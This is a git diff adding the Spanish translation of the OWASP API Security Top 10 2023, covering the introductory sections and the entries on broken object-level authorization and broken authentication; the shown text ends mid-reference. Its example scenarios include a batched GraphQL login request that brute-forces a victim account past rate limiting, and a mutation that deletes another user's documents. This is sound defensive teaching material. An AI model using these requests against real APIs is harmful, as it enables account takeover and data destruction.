diff --git a/editions/2019/fr/images/owasp-logo.png b/editions/2019/fr/images/owasp-logo.png old mode 100755 new mode 100644 diff --git a/editions/2023/es/0x00-header.md b/editions/2023/es/0x00-header.md new file mode 100644 index 000000000..404bbd9aa --- /dev/null +++ b/editions/2023/es/0x00-header.md @@ -0,0 +1,15 @@ +--- +title: '' +description: OWASP API Security Top 10 Edición 2023 +--- + +![LOGO DE OWASP](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Este trabajo está licenciado bajo una [Licencia Creative Commons Atribución-CompartirIgual 4.0 Internacional][1] | ![Logo de Licencia Creative Commons](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + + diff --git a/editions/2023/es/0x00-notice.md b/editions/2023/es/0x00-notice.md new file mode 100644 index 000000000..7bf236bdb --- /dev/null +++ b/editions/2023/es/0x00-notice.md @@ -0,0 +1,12 @@ +# Aviso + +Esta es la versión en texto de OWASP API Security Top 10, utilizada como fuente para cualquier versión oficial de este documento, como el sitio web. + +Las contribuciones al proyecto, como comentarios, correcciones o traducciones, deben realizarse aquí. Para más detalles sobre [Cómo Contribuir][1], consulta [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md + diff --git a/editions/2023/es/0x00-toc.md b/editions/2023/es/0x00-toc.md new file mode 100644 index 000000000..dbeb23fdb --- /dev/null +++ b/editions/2023/es/0x00-toc.md @@ -0,0 +1,24 @@ +# Tabla de Contenidos + +* [Tabla de Contenidos](0x00-toc.md) +* [Acerca de OWASP](0x01-about-owasp.md) +* [Prólogo](0x02-foreword.md) +* [Introducción](0x03-introduction.md) +* [Notas de la Versión](0x04-release-notes.md) +* [Riesgos de Seguridad en APIs](0x10-api-security-risks.md) +* [Los 10 Principales Riesgos de Seguridad en APIs – 2023](0x11-t10.md) +* [API1:2023 Autorización de Nivel de Objeto Rota](0xa1-broken-object-level-authorization.md) +* [API2:2023 Autenticación Rota](0xa2-broken-authentication.md) +* [API3:2023 Autorización de Nivel de Propiedad de Objeto Rota](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Consumo Ilimitado de Recursos](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Autorización de Nivel de Función Rota](0xa5-broken-function-level-authorization.md) +* [API6:2023 Acceso Ilimitado a Flujos de Negocio Sensibles](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Falsificación de Solicitudes del Lado del Servidor (SSRF)](0xa7-server-side-request-forgery.md) +* [API8:2023 Configuración de Seguridad Incorrecta](0xa8-security-misconfiguration.md) +* [API9:2023 Gestión Inadecuada del Inventario](0xa9-improper-inventory-management.md) +* [API10:2023 Consumo Inseguro de APIs](0xaa-unsafe-consumption-of-apis.md) +* [¿Qué Sigue para Desarrolladores?](0xb0-next-devs.md) +* [¿Qué Sigue para DevSecOps?](0xb1-next-devsecops.md) +* [Metodología y Datos](0xd0-about-data.md) +* [Reconocimientos](0xd1-acknowledgments.md) + diff --git a/editions/2023/es/0x01-about-owasp.md b/editions/2023/es/0x01-about-owasp.md new file mode 100644 index 000000000..569faab7b --- /dev/null +++ b/editions/2023/es/0x01-about-owasp.md @@ -0,0 +1,44 @@ +# Acerca de OWASP + +El Proyecto Abierto de Seguridad en Aplicaciones a Nivel Mundial (OWASP, por sus siglas en inglés) es una comunidad abierta dedicada a permitir que las organizaciones desarrollen, adquieran y mantengan aplicaciones y APIs en las que se pueda confiar. + +En OWASP, encontrarás recursos gratuitos y abiertos, como: + +* Herramientas y estándares de seguridad en aplicaciones. +* Libros completos sobre pruebas de seguridad en aplicaciones, desarrollo de código seguro y revisión de código seguro. +* Presentaciones y [videos][1]. +* [Hojas de referencia][2] sobre muchos temas comunes. +* Controles y bibliotecas de seguridad estándar. +* [Capítulos locales en todo el mundo][3]. +* Investigación de vanguardia. +* Amplias [conferencias a nivel mundial][4]. +* [Listas de correo][5] ([archivo][6]). + +Para más información, visita: [https://www.owasp.org][7]. + +Todas las herramientas, documentos, videos, presentaciones y capítulos de OWASP son gratuitos y abiertos para cualquier persona interesada en mejorar la seguridad en aplicaciones. + +Promovemos el enfoque de seguridad en aplicaciones como un problema que involucra a personas, procesos y tecnología, ya que los métodos más efectivos requieren mejoras en estas áreas. + +OWASP es un tipo de organización diferente. Nuestra independencia de presiones comerciales nos permite proporcionar información imparcial, práctica y rentable sobre seguridad en aplicaciones. + +OWASP no está afiliado a ninguna empresa de tecnología, aunque apoyamos el uso informado de tecnologías comerciales de seguridad. OWASP produce diversos tipos de materiales de manera colaborativa, transparente y abierta. + +La Fundación OWASP es la entidad sin fines de lucro que garantiza el éxito a largo plazo del proyecto. Casi todas las personas asociadas con OWASP son voluntarias, incluyendo la junta directiva, líderes de capítulos, líderes de proyectos y miembros del proyecto. Apoyamos la investigación innovadora en seguridad con subvenciones e infraestructura. + +¡Únete a nosotros! + +## Derechos de Autor y Licencia + +![licencia](images/license.png) + +Derechos de autor © 2003-2023 The OWASP Foundation. Este documento se publica bajo la [licencia Creative Commons Atribución-CompartirIgual 4.0][8]. Para cualquier reutilización o distribución, debes dejar en claro a otros los términos de esta licencia. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/es/0x02-foreword.md b/editions/2023/es/0x02-foreword.md new file mode 100644 index 000000000..4feedeed4 --- /dev/null +++ b/editions/2023/es/0x02-foreword.md @@ -0,0 +1,27 @@ +# Prólogo + +Un elemento fundamental de la innovación en el mundo actual impulsado por aplicaciones es la **Interfaz de Programación de Aplicaciones (API)**. Desde bancos, comercio minorista y transporte hasta IoT, vehículos autónomos y ciudades inteligentes, las APIs son una parte crítica de las aplicaciones móviles, SaaS y web modernas, y se pueden encontrar en aplicaciones orientadas a clientes, socios y uso interno. + +Por su naturaleza, las APIs exponen la lógica de la aplicación y datos sensibles, como la Información de Identificación Personal (PII, por sus siglas en inglés), y debido a esto, las APIs se han convertido en un objetivo cada vez más frecuente para los atacantes. Sin APIs seguras, la innovación rápida sería imposible. + +Aunque sigue siendo relevante una lista más general de los principales riesgos de seguridad en aplicaciones web, debido a su naturaleza particular, se requiere una lista específica de riesgos de seguridad en APIs. La seguridad en APIs se enfoca en estrategias y soluciones para comprender y mitigar las vulnerabilidades y riesgos de seguridad únicos asociados con ellas. + +Si estás familiarizado con el [Proyecto OWASP Top 10][1], notarás similitudes entre ambos documentos: están diseñados para facilitar la lectura y la adopción. Si eres nuevo en la serie OWASP Top 10, te recomendamos leer primero las secciones de [Riesgos de Seguridad en APIs][2] y [Metodología y Datos][3] antes de sumergirte en la lista de los 10 principales riesgos. + +Puedes contribuir al OWASP API Security Top 10 con tus preguntas, comentarios e ideas en nuestro repositorio de GitHub: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Puedes encontrar el OWASP API Security Top 10 aquí: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Queremos agradecer a todos los colaboradores que hicieron posible este proyecto con su esfuerzo y contribuciones. Todos ellos están listados en la [sección de Reconocimientos][4]. ¡Gracias! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md + diff --git a/editions/2023/es/0x03-introduction.md b/editions/2023/es/0x03-introduction.md new file mode 100644 index 000000000..75df0f7ab --- /dev/null +++ b/editions/2023/es/0x03-introduction.md @@ -0,0 +1,46 @@ +# Introducción + +## ¡Bienvenido al OWASP API Security Top 10 - 2023! + +¡Bienvenido a la segunda edición del OWASP API Security Top 10! + +Este documento de concienciación se publicó por primera vez en 2019. Desde entonces, la industria de la seguridad en APIs ha florecido y se ha vuelto más madura. Creemos firmemente que este trabajo ha contribuido positivamente a ello, ya que fue adoptado rápidamente como una referencia en la industria. + +Las APIs juegan un papel muy importante en la arquitectura de aplicaciones modernas. Sin embargo, dado que la innovación avanza a un ritmo diferente al de la concienciación sobre seguridad, creemos que es fundamental enfocarnos en crear conciencia sobre las debilidades de seguridad más comunes en APIs. + +El objetivo principal del OWASP API Security Top 10 es educar a quienes participan en el desarrollo y mantenimiento de APIs, como desarrolladores, diseñadores, arquitectos, gerentes u organizaciones. Puedes obtener más información sobre el **Proyecto de Seguridad en APIs** visitando [la página del proyecto][1]. + +Si no estás familiarizado con la serie OWASP Top 10, recomendamos revisar al menos los siguientes proyectos: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top 10][6] +* [OWASP Mobile Top 10][7] +* [OWASP Top 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Ninguno de estos proyectos reemplaza a otro: si trabajas en una aplicación móvil que utiliza una API en el backend, es recomendable leer ambos Top 10 correspondientes. Lo mismo aplica si trabajas en una aplicación web o de escritorio que dependa de APIs. + +En la sección de [Metodología y Datos][13], puedes leer más sobre cómo se creó esta edición. Por ahora, animamos a todos a contribuir con preguntas, comentarios e ideas en nuestro [repositorio de GitHub][14] o en nuestra [lista de correo][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project + diff --git a/editions/2023/es/0x04-release-notes.md b/editions/2023/es/0x04-release-notes.md new file mode 100644 index 000000000..dde657c80 --- /dev/null +++ b/editions/2023/es/0x04-release-notes.md @@ -0,0 +1,24 @@ + +# Notas de la Versión + +Esta es la segunda edición del OWASP API Security Top 10, exactamente cuatro años después de su primera publicación. Mucho ha cambiado en el panorama de la seguridad en APIs. El tráfico de APIs ha aumentado rápidamente, algunos protocolos de API han ganado mucha más popularidad, han surgido numerosos proveedores y soluciones de seguridad para APIs y, por supuesto, los atacantes han desarrollado nuevas habilidades y técnicas para comprometer APIs. Era momento de actualizar la lista de los diez riesgos de seguridad más críticos en APIs. + +Con una industria de seguridad en APIs más madura, por primera vez, hubo [una convocatoria pública para recopilar datos][1]. Desafortunadamente, no se recibió ninguna contribución de datos, pero basándonos en la experiencia del equipo del proyecto, la cuidadosa revisión de especialistas en seguridad de APIs y los comentarios de la comunidad sobre la versión candidata, construimos esta nueva lista. En la [sección de Metodología y Datos][2], encontrarás más detalles sobre cómo se elaboró esta versión. Para conocer más detalles sobre los riesgos de seguridad, consulta la [sección de Riesgos de Seguridad en APIs][3]. + +El OWASP API Security Top 10 2023 es un documento de concienciación con visión de futuro para una industria de ritmo acelerado. No reemplaza a otros Top 10. En esta edición: + +* Hemos combinado la Exposición Excesiva de Datos y la Asignación Masiva, enfocándonos en la causa raíz común: fallas en la validación de autorización a nivel de propiedad de objeto. +* Hemos puesto mayor énfasis en el consumo de recursos, en lugar de solo centrarnos en la rapidez con la que se agotan. +* Hemos creado una nueva categoría, **"Acceso Ilimitado a Flujos de Negocio Sensibles"**, para abordar nuevas amenazas, incluidas muchas que pueden mitigarse mediante limitación de tasas (rate limiting). +* Agregamos **"Consumo Inseguro de APIs"** para abordar un nuevo enfoque observado en los ataques: los atacantes han comenzado a buscar servicios integrados de un objetivo para comprometerlos, en lugar de atacar directamente las APIs de su objetivo. Este es el momento adecuado para generar conciencia sobre este riesgo creciente. + +Las APIs desempeñan un papel cada vez más importante en la arquitectura moderna de microservicios, aplicaciones de una sola página (SPA), aplicaciones móviles, IoT, entre otros. El **OWASP API Security Top 10** es un esfuerzo necesario para crear conciencia sobre los problemas modernos de seguridad en APIs. + +Esta actualización solo fue posible gracias al gran esfuerzo de varios voluntarios, quienes están listados en la [sección de Reconocimientos][4]. + +¡Gracias! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/es/0x10-api-security-risks.md b/editions/2023/es/0x10-api-security-risks.md new file mode 100644 index 000000000..befa72ccb --- /dev/null +++ b/editions/2023/es/0x10-api-security-risks.md @@ -0,0 +1,41 @@ +# Riesgos de Seguridad en APIs + +Se utilizó la [Metodología de Evaluación de Riesgos de OWASP][1] para realizar el análisis de riesgos. + +La siguiente tabla resume la terminología asociada con la puntuación de riesgo. + +| Agentes de Amenaza | Explotabilidad | Prevalencia de la Debilidad | Detectabilidad de la Debilidad | Impacto Técnico | Impactos en el Negocio | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Específico de APIs | Fácil: **3** | Generalizado **3** | Fácil **3** | Severo **3** | Específico del Negocio | +| Específico de APIs | Promedio: **2** | Común **2** | Promedio **2** | Moderado **2** | Específico del Negocio | +| Específico de APIs | Difícil: **1** | Difícil **1** | Difícil **1** | Menor **1** | Específico del Negocio | + +**Nota**: Este enfoque no toma en cuenta la probabilidad de que un agente de amenaza ataque. Tampoco considera detalles técnicos específicos de tu aplicación. Cualquiera de estos factores podría afectar significativamente la probabilidad de que un atacante encuentre y explote una vulnerabilidad en particular. Esta clasificación tampoco evalúa el impacto real en tu negocio. + +Cada organización debe decidir cuánto riesgo de seguridad en aplicaciones y APIs está dispuesta a aceptar, según su cultura, industria y entorno regulatorio. El propósito del **OWASP API Security Top 10** no es realizar este análisis de riesgos por ti. Dado que esta edición no está basada en datos cuantitativos, la prevalencia de las debilidades se determina mediante el consenso de los miembros del equipo. + +## Referencias + +### OWASP + +* [Metodología de Evaluación de Riesgos de OWASP][1] +* [Artículo sobre Modelado de Amenazas/Riesgos][2] + +### Externas + +* [ISO 31000: Gestión de Riesgos][3] +* [ISO 27001: Sistema de Gestión de Seguridad de la Información (SGSI)][4] +* [Marco de Ciberseguridad del NIST (EE.UU.)][5] +* [Mitigaciones Estratégicas del ASD (Australia)][6] +* [NIST CVSS 3.0][7] +* [Herramienta de Modelado de Amenazas de Microsoft][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 + diff --git a/editions/2023/es/0x11-t10.md b/editions/2023/es/0x11-t10.md new file mode 100644 index 000000000..cb755b2cc --- /dev/null +++ b/editions/2023/es/0x11-t10.md @@ -0,0 +1,29 @@ + +# Los 10 Principales Riesgos de Seguridad en APIs – 2023 + +| Riesgo | Descripción | +| ---- | ----------- | +| [API1:2023 - Autorización de Nivel de Objeto Rota][api1] | Las APIs tienden a exponer endpoints que manejan identificadores de objetos, lo que crea una amplia superficie de ataque con problemas de control de acceso a nivel de objeto. Las verificaciones de autorización a nivel de objeto deben considerarse en cada función que acceda a una fuente de datos utilizando un ID proporcionado por el usuario. | +| [API2:2023 - Autenticación Rota][api2] | Los mecanismos de autenticación a menudo se implementan incorrectamente, permitiendo que los atacantes comprometan tokens de autenticación o exploten fallos en la implementación para asumir la identidad de otros usuarios, ya sea temporal o permanentemente. Comprometer la capacidad del sistema para identificar al cliente/usuario pone en riesgo la seguridad de toda la API. | +| [API3:2023 - Autorización de Nivel de Propiedad de Objeto Rota][api3] | Esta categoría combina [API3:2019 - Exposición Excesiva de Datos][1] y [API6:2019 - Asignación Masiva][2], enfocándose en la causa raíz: la falta o incorrecta validación de autorización a nivel de propiedad de objeto. Esto puede llevar a la exposición o manipulación de información por parte de actores no autorizados. | +| [API4:2023 - Consumo Ilimitado de Recursos][api4] | Satisfacer solicitudes de API requiere recursos como ancho de banda de red, CPU, memoria y almacenamiento. Otros recursos, como correos electrónicos, SMS, llamadas telefónicas o validaciones biométricas, son proporcionados por servicios a través de integraciones de API y tienen un costo por solicitud. Los ataques exitosos pueden provocar una Denegación de Servicio o un aumento en los costos operativos. | +| [API5:2023 - Autorización de Nivel de Función Rota][api5] | Las políticas de control de acceso complejas con diferentes jerarquías, grupos y roles, junto con una separación poco clara entre funciones administrativas y regulares, suelen llevar a fallos de autorización. Al explotar estos problemas, los atacantes pueden obtener acceso a recursos de otros usuarios o a funciones administrativas. | +| [API6:2023 - Acceso Ilimitado a Flujos de Negocio Sensibles][api6] | Las APIs vulnerables a este riesgo exponen flujos de negocio —como comprar un boleto o publicar un comentario— sin considerar cómo el uso excesivo automatizado de estas funcionalidades podría afectar el negocio. Este riesgo no necesariamente surge de fallos en la implementación. | +| [API7:2023 - Falsificación de Solicitudes del Lado del Servidor (SSRF)][api7] | Las vulnerabilidades de **Server-Side Request Forgery (SSRF)** pueden ocurrir cuando una API obtiene un recurso remoto sin validar la URI proporcionada por el usuario. Esto permite que un atacante manipule la aplicación para enviar una solicitud maliciosa a un destino inesperado, incluso si está protegido por un firewall o una VPN. | +| [API8:2023 - Configuración de Seguridad Incorrecta][api8] | Las APIs y los sistemas que las soportan suelen tener configuraciones complejas diseñadas para hacerlas más personalizables. Los ingenieros de software y DevOps pueden omitir configuraciones o no seguir las mejores prácticas de seguridad, lo que abre la puerta a distintos tipos de ataques. | +| [API9:2023 - Gestión Inadecuada del Inventario][api9] | Las APIs tienden a exponer más endpoints que las aplicaciones web tradicionales, por lo que contar con documentación actualizada es crucial. Un inventario adecuado de hosts y versiones de API desplegadas también es esencial para mitigar problemas como el uso de versiones obsoletas de API y la exposición de endpoints de depuración. | +| [API10:2023 - Consumo Inseguro de APIs][api10] | Los desarrolladores suelen confiar más en los datos recibidos de APIs de terceros que en la entrada de los usuarios, lo que los lleva a adoptar estándares de seguridad más débiles. Para comprometer APIs, los atacantes han comenzado a enfocarse en los servicios de terceros integrados en lugar de atacar directamente la API objetivo. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/es/0xa1-broken-object-level-authorization.md b/editions/2023/es/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..690266811 --- /dev/null +++ b/editions/2023/es/0xa1-broken-object-level-authorization.md @@ -0,0 +1,83 @@ +# API1:2023 Autorización de Nivel de Objeto Rota + +| Agentes de Amenaza/Vectores de Ataque | Debilidad de Seguridad | Impactos | +| - | - | - | +| Específico de APIs : Explotabilidad **Fácil** | Prevalencia **Generalizada** : Detectabilidad **Fácil** | Técnico **Moderado** : Específico del Negocio | +| Los atacantes pueden explotar endpoints de API vulnerables a autorización de nivel de objeto rota manipulando el ID de un objeto enviado dentro de la solicitud. Los IDs de objeto pueden ser cualquier cosa, desde enteros secuenciales, UUIDs o cadenas de texto genéricas. Independientemente del tipo de dato, son fáciles de identificar en el destino de la solicitud (parámetros de ruta o cadena de consulta), en los encabezados de la solicitud o incluso como parte del cuerpo de la solicitud. | Este problema es extremadamente común en aplicaciones basadas en API porque el componente del servidor generalmente no rastrea completamente el estado del cliente y, en su lugar, depende de parámetros como IDs de objeto enviados desde el cliente para decidir qué objetos se pueden acceder. La respuesta del servidor suele ser suficiente para determinar si la solicitud fue exitosa. | El acceso no autorizado a los objetos de otros usuarios puede resultar en la divulgación de datos a partes no autorizadas, pérdida de datos o manipulación de datos. En ciertas circunstancias, el acceso no autorizado a objetos también puede llevar al secuestro completo de cuentas. | + +## ¿Es la API Vulnerable? + +La autorización a nivel de objeto es un mecanismo de control de acceso que generalmente se implementa a nivel de código para validar que un usuario solo pueda acceder a los objetos sobre los cuales tiene permisos. + +Cada endpoint de API que recibe un ID de objeto y realiza cualquier acción sobre él debe implementar verificaciones de autorización a nivel de objeto. Estas verificaciones deben validar que el usuario autenticado tiene permisos para realizar la acción solicitada sobre el objeto en cuestión. + +Las fallas en este mecanismo suelen llevar a la divulgación no autorizada de información, modificación o destrucción de datos. + +Comparar el ID de usuario de la sesión actual (por ejemplo, extrayéndolo de un token JWT) con el parámetro de ID vulnerable no es una solución suficiente para resolver la **Autorización de Nivel de Objeto Rota (BOLA)**. Este enfoque solo abordaría un subconjunto limitado de casos. + +En el caso de BOLA, es normal que el usuario tenga acceso al endpoint/función vulnerable de la API. La violación ocurre a nivel de objeto, al manipular el ID. Si un atacante logra acceder a un endpoint/función de API al que no debería tener acceso, se trata más bien de un caso de [Autorización de Nivel de Función Rota][5] (BFLA) en lugar de BOLA. + +## Escenarios de Ataque Ejemplo + +### Escenario #1 + +Una plataforma de comercio electrónico para tiendas en línea proporciona una página con gráficos de ingresos de las tiendas alojadas. Inspeccionando las solicitudes del navegador, un atacante puede identificar los endpoints de API utilizados como fuente de datos para esos gráficos y su patrón: +`/shops/{shopName}/revenue_data.json`. + +Usando otro endpoint de API, el atacante puede obtener la lista de todas las tiendas alojadas. Con un simple script para manipular los nombres en la lista, reemplazando `{shopName}` en la URL, el atacante obtiene acceso a los datos de ventas de miles de tiendas en línea. + +### Escenario #2 + +Un fabricante de automóviles ha habilitado el control remoto de sus vehículos a través de una API móvil para la comunicación con el teléfono del conductor. La API permite al conductor encender y apagar el motor, así como bloquear y desbloquear las puertas de forma remota. + +Como parte de este flujo, el usuario envía el **Número de Identificación del Vehículo (VIN)** a la API. +La API no valida si el VIN representa un vehículo perteneciente al usuario autenticado, lo que conduce a una vulnerabilidad BOLA. +Un atacante puede acceder a vehículos que no le pertenecen. + +### Escenario #3 + +Un servicio de almacenamiento de documentos en línea permite a los usuarios ver, editar, almacenar y eliminar sus documentos. Cuando un usuario elimina un documento, se envía una mutación de GraphQL con el ID del documento a la API: + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + + +Dado que el documento con el ID proporcionado se elimina sin verificaciones adicionales de permisos, un usuario puede eliminar los documentos de otro usuario. + +## Cómo Prevenirlo + +* Implementa un mecanismo de autorización adecuado que se base en las políticas y jerarquía de usuarios. +* Usa el mecanismo de autorización para verificar si el usuario autenticado tiene permisos para realizar la acción solicitada en el registro, en cada función que utilice un dato de entrada del cliente para acceder a un registro en la base de datos. +* Prefiere el uso de valores aleatorios e impredecibles, como GUIDs, para los IDs de los registros. +* Escribe pruebas para evaluar la vulnerabilidad del mecanismo de autorización. No implementes cambios que hagan que estas pruebas fallen. + +## Referencias + +### OWASP + +* [Guía de Autorización][1] +* [Guía de Automatización de Pruebas de Autorización][2] + +### Externas + +* [CWE-285: Autorización Incorrecta][3] +* [CWE-639: Evasión de Autorización a través de Claves Controladas por el Usuario][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md + diff --git a/editions/2023/es/0xa2-broken-authentication.md b/editions/2023/es/0xa2-broken-authentication.md new file mode 100644 index 000000000..83ea4cd3f --- /dev/null +++ b/editions/2023/es/0xa2-broken-authentication.md @@ -0,0 +1,108 @@ +# API2:2023 Autenticación Rota + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Común** : Detectabilidad **Fácil** | Técnico **Grave** : Específico del negocio | +| El mecanismo de autenticación es un objetivo fácil para los atacantes ya que está expuesto a todos. Aunque se pueden requerir habilidades técnicas más avanzadas para explotar algunos problemas de autenticación, generalmente existen herramientas disponibles para hacerlo. | Conceptos erróneos de ingenieros de software y seguridad respecto a los límites de autenticación y la complejidad inherente de su implementación hacen que los problemas de autenticación sean comunes. Las metodologías para detectar autenticación rota están disponibles y son fáciles de crear. | Los atacantes pueden obtener control total de las cuentas de otros usuarios en el sistema, leer sus datos personales y realizar acciones sensibles en su nombre. Es poco probable que los sistemas puedan distinguir las acciones de los atacantes de las de un usuario legítimo. | + +## ¿Es vulnerable la API? + +Los endpoints y flujos de autenticación son activos que deben protegerse. +Además, los mecanismos de "Olvidé mi contraseña / restablecer contraseña" deben tratarse de la misma manera que los mecanismos de autenticación. + +Una API es vulnerable si: + +* Permite **credential stuffing**, donde el atacante usa fuerza bruta con una lista de nombres de usuario y contraseñas válidos. +* Permite que los atacantes realicen un ataque de fuerza bruta sobre la misma cuenta de usuario sin presentar captcha o mecanismos de bloqueo de cuenta. +* Permite contraseñas débiles. +* Envía detalles sensibles de autenticación, como tokens y contraseñas, en la **URL**. +* Permite a los usuarios cambiar su dirección de correo electrónico, contraseña actual u otras operaciones sensibles sin solicitar confirmación de la contraseña. +* No valida la autenticidad de los tokens. +* Acepta tokens JWT sin firmar o débilmente firmados (`{"alg":"none"}`). +* No valida la fecha de expiración del JWT. +* Utiliza contraseñas en texto plano, no cifradas o débilmente hasheadas. +* Usa claves de cifrado débiles. + +Además, un microservicio es vulnerable si: + +* Otros microservicios pueden acceder a él sin autenticación. +* Usa tokens débiles o predecibles para imponer autenticación. + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Para realizar la autenticación de usuario, el cliente debe emitir una solicitud a la API con las credenciales, como en el siguiente ejemplo: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Si las credenciales son válidas, se devuelve un **token de autenticación** que debe ser proporcionado en las solicitudes posteriores para identificar al usuario. Los intentos de inicio de sesión están sujetos a una limitación de tasa restrictiva: solo se permiten tres solicitudes por minuto. + +Para forzar un inicio de sesión en la cuenta de la víctima, los atacantes aprovechan la capacidad de **batching** de consultas GraphQL para evadir la limitación de tasa, acelerando el ataque: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +### Escenario #2 + +Para actualizar la dirección de correo electrónico asociada con la cuenta de un usuario, los clientes deben emitir una solicitud como la siguiente: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Debido a que la API no requiere que los usuarios confirmen su identidad proporcionando su contraseña actual, atacantes que logren robar el token de autenticación podrían tomar control de la cuenta de la víctima iniciando un flujo de restablecimiento de contraseña después de actualizar la dirección de correo electrónico de la cuenta. + +## Cómo Prevenir + +* Asegúrate de conocer todos los posibles flujos de autenticación de la API (móvil/web/enlaces profundos que implementen autenticación de un clic/etc.). Pregunta a tus ingenieros qué flujos podrían haberse pasado por alto. +* Estudia tus mecanismos de autenticación. Asegúrate de entender qué son y cómo se utilizan. OAuth no es autenticación, y las API keys tampoco lo son. +* No reinventes la rueda en autenticación, generación de tokens o almacenamiento de contraseñas. Usa los estándares. +* Los endpoints de recuperación de credenciales/“olvidé mi contraseña” deben tratarse como endpoints de inicio de sesión en cuanto a protección contra fuerza bruta, limitación de tasa y mecanismos de bloqueo. +* Requiere re-autenticación para operaciones sensibles (por ejemplo: cambiar el correo electrónico del propietario de la cuenta o el número de teléfono de 2FA). +* Usa la [Guía de Autenticación de OWASP][1]. +* Implementa, cuando sea posible, autenticación multifactor. +* Implementa mecanismos anti-fuerza bruta para mitigar ataques de credential stuffing, diccionario y fuerza bruta en tus endpoints de autenticación. Estos mecanismos deben ser más estrictos que la limitación de tasa regular en tus APIs. +* Implementa [bloqueo de cuenta][2]/mecanismos de captcha para prevenir ataques de fuerza bruta contra usuarios específicos. Implementa verificaciones de contraseñas débiles. +* Las API keys no deben usarse para autenticación de usuarios. Deben usarse únicamente para autenticación de [clientes de API][3]. + +## Referencias + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Externas + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: 